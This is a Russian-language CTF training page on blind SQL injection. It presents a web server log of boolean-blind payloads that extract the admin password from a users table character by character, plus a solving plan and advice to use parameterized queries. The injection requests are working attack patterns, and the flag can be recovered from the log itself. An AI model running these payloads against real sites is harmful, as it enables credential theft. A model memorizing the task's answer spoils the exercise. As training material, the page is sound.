СреднийВеб Флаг Осенний CTF

Слепая инъекция

Прогресс комнаты 0 / 4

Задание 1Введение

Цель: Читать следы слепой SQL-инъекции и понимать, как она вытягивает данные.

Атакующий вытащил пароль администратора слепой SQL-инъекцией. У вас есть журнал веб-сервера. Восстановите пароль — он и есть флаг.

Задание 2Теория и инструменты

В слепой инъекции сервер не показывает данные, но по-разному отвечает на истинное и ложное условие. Атакующий спрашивает: «Первый символ пароля — a?» — и смотрит на ответ.

Здесь разница видна по размеру ответа в журнале: истина даёт одну длину, ложь — другую.

Инструменты

Python re
grep + awk
sqlmap — инструмент автоматизации таких атак (только в разрешённых тестах)

Больше теории — в разделе «Обучение: Веб».

Задание 3Практика: найдите флаг

Данные задания14149 символов

203.0.113.66 - - [15/Oct/2026:03:00:02] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),1,1)='0'-- HTTP/1.1" 200 1290
203.0.113.66 - - [15/Oct/2026:03:00:03] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),1,1)='u'-- HTTP/1.1" 200 1290
203.0.113.66 - - [15/Oct/2026:03:00:04] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),1,1)='9'-- HTTP/1.1" 200 1290
203.0.113.66 - - [15/Oct/2026:03:00:06] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),1,1)='8'-- HTTP/1.1" 200 1290
203.0.113.66 - - [15/Oct/2026:03:00:07] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),1,1)='C'-- HTTP/1.1" 200 4821
203.0.113.66 - - [15/Oct/2026:03:00:09] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),2,1)='q'-- HTTP/1.1" 200 1290
203.0.113.66 - - [15/Oct/2026:03:00:10] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),2,1)='w'-- HTTP/1.1" 200 1290
203.0.113.66 - - [15/Oct/2026:03:00:11] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),2,1)='x'-- HTTP/1.1" 200 1290
203.0.113.66 - - [15/Oct/2026:03:00:13] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),2,1)='T'-- HTTP/1.1" 200 4821
203.0.113.66 - - [15/Oct/2026:03:00:14] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),3,1)='_'-- HTTP/1.1" 200 1290
203.0.113.66 - - [15/Oct/2026:03:00:15] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),3,1)='u'-- HTTP/1.1" 200 1290
203.0.113.66 - - [15/Oct/2026:03:00:17] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),3,1)='a'-- HTTP/1.1" 200 1290
203.0.113.66 - - [15/Oct/2026:03:00:18] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),3,1)='o'-- HTTP/1.1" 200 1290
203.0.113.66 - - [15/Oct/2026:03:00:20] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),3,1)='c'-- HTTP/1.1" 200 1290
203.0.113.66 - - [15/Oct/2026:03:00:22] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),3,1)='F'-- HTTP/1.1" 200 4821
203.0.113.66 - - [15/Oct/2026:03:00:23] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),4,1)='i'-- HTTP/1.1" 200 1290
203.0.113.66 - - [15/Oct/2026:03:00:24] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),4,1)='1'-- HTTP/1.1" 200 1290
203.0.113.66 - - [15/Oct/2026:03:00:26] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),4,1)='o'-- HTTP/1.1" 200 1290
203.0.113.66 - - [15/Oct/2026:03:00:27] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),4,1)='d'-- HTTP/1.1" 200 1290
203.0.113.66 - - [15/Oct/2026:03:00:28] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),4,1)='a'-- HTTP/1.1" 200 1290
203.0.113.66 - - [15/Oct/2026:03:00:30] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),4,1)='{'-- HTTP/1.1" 200 4821
203.0.113.66 - - [15/Oct/2026:03:00:32] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),5,1)='o'-- HTTP/1.1" 200 1290
203.0.113.66 - - [15/Oct/2026:03:00:33] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),5,1)='5'-- HTTP/1.1" 200 1290
203.0.113.66 - - [15/Oct/2026:03:00:35] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),5,1)='_'-- HTTP/1.1" 200 1290
203.0.113.66 - - [15/Oct/2026:03:00:37] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),5,1)='s'-- HTTP/1.1" 200 1290
203.0.113.66 - - [15/Oct/2026:03:00:38] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),5,1)='x'-- HTTP/1.1" 200 1290
203.0.113.66 - - [15/Oct/2026:03:00:39] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),5,1)='b'-- HTTP/1.1" 200 4821
203.0.113.66 - - [15/Oct/2026:03:00:40] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),6,1)='C'-- HTTP/1.1" 200 1290
203.0.113.66 - - [15/Oct/2026:03:00:41] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),6,1)='7'-- HTTP/1.1" 200 1290
203.0.113.66 - - [15/Oct/2026:03:00:43] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),6,1)='}'-- HTTP/1.1" 200 1290
203.0.113.66 - - [15/Oct/2026:03:00:44] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),6,1)='l'-- HTTP/1.1" 200 4821
203.0.113.66 - - [15/Oct/2026:03:00:45] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),7,1)='{'-- HTTP/1.1" 200 1290
203.0.113.66 - - [15/Oct/2026:03:00:47] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),7,1)='0'-- HTTP/1.1" 200 1290
203.0.113.66 - - [15/Oct/2026:03:00:48] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),7,1)='5'-- HTTP/1.1" 200 1290
203.0.113.66 - - [15/Oct/2026:03:00:50] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),7,1)='1'-- HTTP/1.1" 200 4821
203.0.113.66 - - [15/Oct/2026:03:00:51] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),8,1)='o'-- HTTP/1.1" 200 1290
203.0.113.66 - - [15/Oct/2026:03:00:53] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),8,1)='g'-- HTTP/1.1" 200 1290
203.0.113.66 - - [15/Oct/2026:03:00:54] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),8,1)='T'-- HTTP/1.1" 200 1290
203.0.113.66 - - [15/Oct/2026:03:00:56] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),8,1)='C'-- HTTP/1.1" 200 1290
203.0.113.66 - - [15/Oct/2026:03:00:57] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),8,1)='F'-- HTTP/1.1" 200 1290
203.0.113.66 - - [15/Oct/2026:03:00:59] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),8,1)='n'-- HTTP/1.1" 200 4821
203.0.113.66 - - [15/Oct/2026:03:01:01] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),9,1)='m'-- HTTP/1.1" 200 1290
203.0.113.66 - - [15/Oct/2026:03:01:03] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),9,1)='e'-- HTTP/1.1" 200 1290
203.0.113.66 - - [15/Oct/2026:03:01:05] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),9,1)='d'-- HTTP/1.1" 200 4821
203.0.113.66 - - [15/Oct/2026:03:01:06] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),10,1)='{'-- HTTP/1.1" 200 1290
203.0.113.66 - - [15/Oct/2026:03:01:08] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),10,1)='s'-- HTTP/1.1" 200 1290
203.0.113.66 - - [15/Oct/2026:03:01:10] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),10,1)='p'-- HTTP/1.1" 200 1290
203.0.113.66 - - [15/Oct/2026:03:01:12] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),10,1)='}'-- HTTP/1.1" 200 1290
203.0.113.66 - - [15/Oct/2026:03:01:13] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),10,1)='_'-- HTTP/1.1" 200 4821
203.0.113.66 - - [15/Oct/2026:03:01:15] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),11,1)='}'-- HTTP/1.1" 200 1290
203.0.113.66 - - [15/Oct/2026:03:01:16] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),11,1)='e'-- HTTP/1.1" 200 1290
203.0.113.66 - - [15/Oct/2026:03:01:17] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),11,1)='s'-- HTTP/1.1" 200 4821
203.0.113.66 - - [15/Oct/2026:03:01:19] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),12,1)='C'-- HTTP/1.1" 200 1290
203.0.113.66 - - [15/Oct/2026:03:01:21] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),12,1)='j'-- HTTP/1.1" 200 1290
203.0.113.66 - - [15/Oct/2026:03:01:23] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),12,1)='q'-- HTTP/1.1" 200 4821
203.0.113.66 - - [15/Oct/2026:03:01:24] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),13,1)='1'-- HTTP/1.1" 200 1290
203.0.113.66 - - [15/Oct/2026:03:01:25] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),13,1)='z'-- HTTP/1.1" 200 1290
203.0.113.66 - - [15/Oct/2026:03:01:26] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),13,1)='_'-- HTTP/1.1" 200 1290
203.0.113.66 - - [15/Oct/2026:03:01:27] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),13,1)='l'-- HTTP/1.1" 200 4821
203.0.113.66 - - [15/Oct/2026:03:01:28] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),14,1)='T'-- HTTP/1.1" 200 1290
203.0.113.66 - - [15/Oct/2026:03:01:30] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),14,1)='0'-- HTTP/1.1" 200 1290
203.0.113.66 - - [15/Oct/2026:03:01:32] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),14,1)='j'-- HTTP/1.1" 200 1290
203.0.113.66 - - [15/Oct/2026:03:01:34] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),14,1)='1'-- HTTP/1.1" 200 4821
203.0.113.66 - - [15/Oct/2026:03:01:35] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),15,1)='p'-- HTTP/1.1" 200 1290
203.0.113.66 - - [15/Oct/2026:03:01:36] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),15,1)='k'-- HTTP/1.1" 200 1290
203.0.113.66 - - [15/Oct/2026:03:01:38] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),15,1)='}'-- HTTP/1.1" 200 1290
203.0.113.66 - - [15/Oct/2026:03:01:39] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),15,1)='_'-- HTTP/1.1" 200 4821
203.0.113.66 - - [15/Oct/2026:03:01:40] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),16,1)='r'-- HTTP/1.1" 200 1290
203.0.113.66 - - [15/Oct/2026:03:01:42] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),16,1)='d'-- HTTP/1.1" 200 1290
203.0.113.66 - - [15/Oct/2026:03:01:43] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),16,1)='n'-- HTTP/1.1" 200 1290
203.0.113.66 - - [15/Oct/2026:03:01:45] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),16,1)='l'-- HTTP/1.1" 200 4821
203.0.113.66 - - [15/Oct/2026:03:01:46] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),17,1)='t'-- HTTP/1.1" 200 1290
203.0.113.66 - - [15/Oct/2026:03:01:47] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),17,1)='p'-- HTTP/1.1" 200 1290
203.0.113.66 - - [15/Oct/2026:03:01:49] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),17,1)='T'-- HTTP/1.1" 200 1290
203.0.113.66 - - [15/Oct/2026:03:01:51] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),17,1)='3'-- HTTP/1.1" 200 4821
203.0.113.66 - - [15/Oct/2026:03:01:52] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),18,1)='g'-- HTTP/1.1" 200 1290
203.0.113.66 - - [15/Oct/2026:03:01:53] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),18,1)='F'-- HTTP/1.1" 200 1290
203.0.113.66 - - [15/Oct/2026:03:01:55] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),18,1)='}'-- HTTP/1.1" 200 1290
203.0.113.66 - - [15/Oct/2026:03:01:56] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),18,1)='C'-- HTTP/1.1" 200 1290
203.0.113.66 - - [15/Oct/2026:03:01:57] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),18,1)='w'-- HTTP/1.1" 200 1290
203.0.113.66 - - [15/Oct/2026:03:01:58] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),18,1)='4'-- HTTP/1.1" 200 4821
203.0.113.66 - - [15/Oct/2026:03:01:59] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),19,1)='3'-- HTTP/1.1" 200 1290
203.0.113.66 - - [15/Oct/2026:03:02:00] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),19,1)='s'-- HTTP/1.1" 200 1290
203.0.113.66 - - [15/Oct/2026:03:02:01] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),19,1)='u'-- HTTP/1.1" 200 1290
203.0.113.66 - - [15/Oct/2026:03:02:02] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),19,1)='e'-- HTTP/1.1" 200 1290
203.0.113.66 - - [15/Oct/2026:03:02:04] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),19,1)='k'-- HTTP/1.1" 200 4821
203.0.113.66 - - [15/Oct/2026:03:02:05] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),20,1)='8'-- HTTP/1.1" 200 1290
203.0.113.66 - - [15/Oct/2026:03:02:07] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),20,1)='c'-- HTTP/1.1" 200 1290
203.0.113.66 - - [15/Oct/2026:03:02:08] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),20,1)='s'-- HTTP/1.1" 200 4821
203.0.113.66 - - [15/Oct/2026:03:02:09] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),21,1)='7'-- HTTP/1.1" 200 1290
203.0.113.66 - - [15/Oct/2026:03:02:11] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),21,1)='o'-- HTTP/1.1" 200 1290
203.0.113.66 - - [15/Oct/2026:03:02:12] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),21,1)='{'-- HTTP/1.1" 200 1290
203.0.113.66 - - [15/Oct/2026:03:02:14] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),21,1)='m'-- HTTP/1.1" 200 1290
203.0.113.66 - - [15/Oct/2026:03:02:15] "GET /item?id=1' AND SUBSTRING((SELECT password FROM users WHERE login='admin'),21,1)='}'-- HTTP/1.1" 200 4821

Вопрос: какой флаг спрятан в данных? Войдите, чтобы ответить

Пошаговый план — открывайте по одному шагу

1
Обратите внимание на два разных размера ответа в конце строк.
2
Оставьте только запросы с «истинным» размером.
3
Из каждого извлеките номер позиции (SUBSTRING(..., N, 1)) и угаданный символ.
4
Расставьте символы по позициям — получится пароль-флаг.

Подсказки — каждая до решения стоит −25 очков

Войдите, чтобы открыть подсказку 1

Войдите, чтобы открыть подсказку 2

Задание 4Как защититься

Только параметризованные запросы (prepared statements) или ORM. Конкатенация строк в SQL недопустима.

Разборы участников

Разборы открываются после того, как вы решите комнату, — чтобы не спойлерить ответ.